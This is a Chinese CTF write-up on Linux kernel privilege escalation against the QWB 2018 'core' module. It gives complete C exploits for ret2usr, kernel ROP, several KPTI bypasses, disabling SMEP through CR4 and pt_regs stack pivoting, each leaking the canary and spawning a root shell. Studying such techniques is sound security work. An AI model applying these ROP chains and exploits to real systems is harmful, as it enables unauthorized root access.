文章目錄
- 參考
- qwb2018 core
- 檢查
- 逆向
- 調試
- 打包上傳測試腳本
- retuser
- kernel rop
- init_cred
- commit_creds( prepare_kernel_cred(0) )
- 開啟KPTI利用swapgs_restore_regs_and_return_to_usermode
- 開啟KPTI利用SIGSEGV
- rop設置CR3寄存器再按照沒有KPTI返回
- kernel rop + ret2user
- pt_regs 構造 kernel ROP
- ret2dir
參考
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic
https://bbs.kanxue.com/thread-276403.htm#msg_header_h2_7
https://xz.aliyun.com/t/7625?time__1311=n4%2BxnD0G0%3DG%3Dn4Gwx05%2B4hri%3DdeY5GOKweD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-8
https://kiprey.github.io/2021/10/kernel_pwn_introduction/#5-kernel-%E7%9A%84-UAF-%E5%88%A9%E7%94%A8
https://blog.csdn.net/qq_45323960/article/details/130660417?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171982506416800211525431%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=171982506416800211525431&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-2-130660417-null-null.nonecase&utm_term=kernel&spm=1018.2226.3001.4450
qwb2018 core
檢查
逆向
- 調用proc_create函數來創建一個新的proc文件系統條目
- &core_fops是一個指向file_operations結構體的指針,這個結構體定義了文件操作函數,比如打開、讀取、寫入等。
core_copy_func存在棧溢出,將可以將name的63個字節復制到棧上的v2數組
name是內核的數據,可以通過core_write將用戶數據復制到name
調試
記得設置root,否則看不了
然后關閉kalsr,方便下斷點
查看模塊相關段和內核中存在的符號函數
打包上傳測試腳本
#!/bin/sh
gcc expolit.c -static -masm=intel -g -o expolit
mv expolit fs/
cd core
find . | cpio -o --format=newc > core.cpio
mv core.cpio ..
cd ..
./start.sh
在沒有開啟SMAP/SMEP的情況下,可以使用ret2usr,直接在內核態訪問用戶態的代碼并執行。
PS: 在使用ret2usr進行提取時,切記不要使用庫函數(會引起系統調用導致內核panic)
retuser
就是在內核態執行的時候往內核態的棧中寫入用戶程序的返回地址,然后跳轉到用戶代碼執行,然后執行用戶程序定義的函數,期間提權并模擬返回用戶態的過程
rip是切換到內核態時候最后壓入的,iretq通過pop恢復各個寄存器,順序從rip到ss
返回地址變為用戶態的代碼,并執行commit_creds(prepare_kernel_cred(0));
切換到用戶態
iretq此時棧中為之前設置的結構體
通過恢復rip跳轉到getshell函數
提權成功
__attribute__((packed))
這是GCC編譯器的一個擴展屬性,用于告訴編譯器在打包結構體成員時不要添加任何填充(padding)。通常,編譯器會在結構體成員之間添加填充字節來保證數據對齊,這可能會導致結構體的大小增加。
使用packed屬性可以確保trap_frame結構體的布局在內存中緊湊,每個成員緊跟前一個成員,沒有額外的填充。
-
#define KERNCALL __attribute__((regparm(3)))
:- 這是一個宏定義,
KERNCALL
被定義為使用 GCC 編譯器的regparm
屬性,該屬性指定函數的參數通過寄存器傳遞。 regparm(3)
表示函數的前三個參數將通過寄存器傳遞,而不是通過棧。這有助于減少函數調用的開銷,提高性能。
- 這是一個宏定義,
-
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
:- 這行代碼定義了一個名為
prepare_kernel_cred
的函數指針,它指向一個接受一個void
指針參數并且返回一個void
指針的函數。 KERNCALL
是上面定義的宏,它指定了函數調用約定,即參數通過寄存器傳遞。= (void *) 0xFFFFFFFF8109CCE0;
這行代碼將prepare_kernel_cred
指針初始化為一個特定的內存地址。這個地址是硬編碼的,可能指向內核中負責準備(設置)用戶憑證的函數。
- 這行代碼定義了一個名為
-
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
:- 這行代碼與上一行類似,定義了另一個函數指針
commit_creds
,它也指向一個接受和返回void
指針的函數。 - 同樣使用
KERNCALL
宏來指定函數調用約定。 = (void *) 0xFFFFFFFF8109C8E0;
將commit_creds
指針初始化為另一個特定的內存地址。這個地址指向內核中負責提交(更改)當前任務憑證的函數。
- 這行代碼與上一行類似,定義了另一個函數指針
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>#define KERNCALL __attribute__((regparm(3)))void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;void *init_cred = (void *) 0xFFFFFFFF8223D1A0;void get_shell() { system("/bin/sh"); }struct trap_frame {size_t user_rip;size_t user_cs;size_t user_rflags;size_t user_sp;size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;void save_status() {asm("movq %%cs, %0\n\t""movq %%ss, %1\n\t""movq %%rsp, %2\n\t""pushfq\n\t""popq %3\n\t": "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags):: "memory");tf.user_rip = (size_t) get_shell;tf.user_cs = user_cs;tf.user_rflags = user_rflags;tf.user_sp = user_sp - 0x1008;tf.user_ss = user_ss;puts("[*] status has been saved.");
}void get_root() {
// commit_creds(init_cred);commit_creds(prepare_kernel_cred(0));asm volatile ("swapgs;" // 交換GS寄存器的基地址"movq %0, %%rsp;" // 將tf_addr的值移動到棧指針"iretq;" // 從中斷或異常返回:: "r" (tf_addr) // 輸入操作數列表,tf_addr作為輸入: "memory" // 指示匯編代碼可能修改內存);
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds = (void *) ((size_t) commit_creds + offset);prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);init_cred = (void *) ((size_t) init_cred + offset);break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {rebase();save_status();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;*(void **) &buf[80] = get_root;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}
通過溢出執行用戶代碼,然后從而完成提權和切換到用戶態操作
kernel rop
開啟 smep 和 smap 保護后,內核空間無法執行用戶空間的代碼,并且無法訪問用戶空間的數據或者跳轉到用戶空間的代碼執行。
利用 ROP ,在內核中執行 commit_creds(prepare_kernel_cred(0))完成提權 , 然后 iret 返回用戶空間再執行getshell函數
init_cred
可以找到init_cred作為參數,然后直接commit_creds,不需要prepare_creds
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;rop[it++] = pop_rdi_ret;rop[it++] = init_cred;rop[it++] = commit_creds;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}
commit_creds( prepare_kernel_cred(0) )
這里prepare_kernel_cred(0)
執行后需要執行mov rdi, rax; ret
但沒有合適的,參考sky佬使用pop rdx; ret; mov rdi,rax; call rdx
但pop后rdx是pop rcx; ret
; call rdx那么就相當于ret了
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret;rop[it++] = pop_rcx_ret;rop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}
開啟KPTI利用swapgs_restore_regs_and_return_to_usermode
https://b0ldfrev.gitbook.io/note/linux_kernel/kernelpwn-zhuang-tai-qie-huan-yuan-li-ji-kpti-rao-guo
將 CPU 類型修改為 kvm64 后開啟了 KPTI 保護。
在開啟KPTI內核,提權返回到用戶態(iretq/sysret)之前如果不設置CR3寄存器的值,就會導致進程找不到當前程序的正確頁表,引發段錯誤,程序退出。
有一種比較懶惰的方法就是利用swapgs_restore_regs_and_return_to_usermode
這個函數返回:
可cat /proc/kallsyms| grep swapgs_restore_regs_and_return_to_usermode
找到它在內核地址
swapgs_restore_regs_and_return_to_usermode的代碼如下
跳過前面的pop指令也可以返回到用戶態即程序流程控制到 mov rdi, rsp 指令,棧布局如下就行,具體原因調試即可
rsp ----> mov_rdi_rsp00ripcsrflagsrspss
進入內核前的CR3
進入內核后的CR3
開始執行用戶態的代碼時會出現page_fault
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_restore_regs_and_return_to_usermode += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;// rop[it++] = pop_rdi_ret;
// rop[it++] = init_cred;
// rop[it++] = commit_creds;rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret;rop[it++] = pop_rcx_ret;rop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;rop[it++] = 0;rop[it++] = 0;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}
開啟KPTI利用SIGSEGV
如果找不到 swapgs_restore_regs_and_return_to_usermode 則可以為 SIGSEGV 先注冊異常處理函數 get_shell ,然后按照沒有 kpti 的方式返回用戶態。觸發段錯誤異常后自動完成用戶態的返回。
signal(SIGSEGV, get_shell); 這行代碼的作用是設置一個信號處理函數,當進程遇到SIGSEGV(分段違例)信號時,將會調用get_shell函數。SIGSEGV信號通常在程序試圖訪問非法內存地址時由操作系統發送,例如嘗試讀取或寫入不存在的內存位置。
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_popfq_ret = 0xffffffff81a012da;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;iretq += offset;swapgs_restore_regs_and_return_to_usermode += offset;swapgs_popfq_ret += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();signal(SIGSEGV, get_shell);core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;// rop[it++] = pop_rdi_ret;
// rop[it++] = init_cred;
// rop[it++] = commit_creds;rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret;rop[it++] = pop_rcx_ret;rop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = 0x12345678;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}
rop設置CR3寄存器再按照沒有KPTI返回
另一種在kernel提權返回用戶態的時候繞過kpti的方法就是利用內核映像中現有的gadget
mov rdi, cr3
or rdi, 1000h
mov cr3, rdi
來設置CR3寄存器,并按照iretq/sysret 的需求構造內容,再返回就OK了。
kernel rop + ret2user
先利用 rop 的mov設置 cr4 為 0x6f0 (這個值可以通過用 cr4 原始值 & 0xFFFFF 得到)關閉 smep , 然后 iret 到用戶空間去執行提權代碼。這樣也可以繞過 smap 和 smep
此時開啟
通過pop 然后mov設置cr4
然后可以直接跳轉到用戶態代碼執行
用戶態代碼再執行commit_creds(prepare_kernel_cred(0))
或者commit_creds(init_cred)
,然后再返回到用戶態再跳轉到system("/bin/sh");
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>#define KERNCALL __attribute__((regparm(3)))void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;void get_shell() { system("/bin/sh"); }size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}void get_root() {
// commit_creds(init_cred);commit_creds(prepare_kernel_cred(0));
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds = (void *) ((size_t) commit_creds + offset);prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);init_cred = (void *) ((size_t) init_cred + offset);pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;rop[it++] = pop_rdi_ret;rop[it++] = 0x00000000000006f0;rop[it++] = mov_cr4_rdi_ret;rop[it++] = (size_t) get_root;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}
pt_regs 構造 kernel ROP
如果限制溢出只能覆蓋返回地址,此時需要棧遷移到其他地方構造 rop 。可以通過 pt_regs 上構造 rop 。
系統調用syscall會進入到 entry_SYSCALL_64,該函數會將所有的寄存器壓入內核棧上,形成一個 pt_regs 結構體,該結構體實質上位于內核棧底,定義如下:
struct pt_regs {
/** C ABI says these regs are callee-preserved. They aren't saved on kernel entry* unless syscall needs a complete, fully filled "struct pt_regs".*/unsigned long r15; //低地址unsigned long r14;unsigned long r13;unsigned long r12;unsigned long rbp;unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */unsigned long r11;unsigned long r10;unsigned long r9;unsigned long r8;unsigned long rax;unsigned long rcx;unsigned long rdx;unsigned long rsi;unsigned long rdi;
/** On syscall entry, this is syscall#. On CPU exception, this is error code.* On hw interrupt, it's IRQ number:*/unsigned long orig_rax;
/* Return frame for iretq */unsigned long rip;unsigned long cs;unsigned long eflags;unsigned long rsp;unsigned long ss; //高地址
/* top of stack page */
};
由于內核棧只有一頁大小,只需要尋找到一條形如 “add rsp, val ; ret” 的 gadget 然后通過push進去的設置號的寄存器內容便能夠完成 ROP
當前rsp距離pt_regs 的偏移
pt_regs 總共0xa8大小
另外值得注意的是 pt_regs 中對應 r11 和 rcx 的位置分別被寫入了 eflags 和返回地址(設置的是system(“/bin/sh”)),不受我們控制。
通過add rsp, value或者pop使得rsp到達pt_regs 如add rsp,0xc8 pop rbx pop rbp pop r12 pop r13 ret
可以實現增加0xe8的效果
所以在溢出之前將寄存器設置好,利用系統調用在棧底部壓入的內容作為等會遷移后的rop,然后溢出執行調整rsp的gadget,然后通過之前設置好的寄存器進行rop
這里使用swapgs_restore_regs_and_return_to_usermode來切換回用戶態,需要調整偏移,使得最后能夠返回到原來的返回地址上system("/bin/sh")
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;add_rsp_0xe8_ret += offset;swapgs_restore_regs_and_return_to_usermode += offset + 8;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;*(size_t *) &buf[80] = add_rsp_0xe8_ret;core_write(buf, sizeof(buf));__asm__("mov r15, pop_rdi_ret;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_restore_regs_and_return_to_usermode;""mov rbp, 0x5555555555555555;""mov rbx, 0x6666666666666666;""mov r11, 0x7777777777777777;""mov r10, 0x8888888888888888;""mov r9, 0x9999999999999999;""mov r8, 0xaaaaaaaaaaaaaaaa;""mov rcx, 0xbbbbbbbbbbbbbbbb;""mov rax, 16;""mov rdx, 0xffffffffffff0058;""mov rsi, 0x6677889A;""mov rdi, core_fd;""syscall");system("/bin/sh");return 0;
}
ret2dir
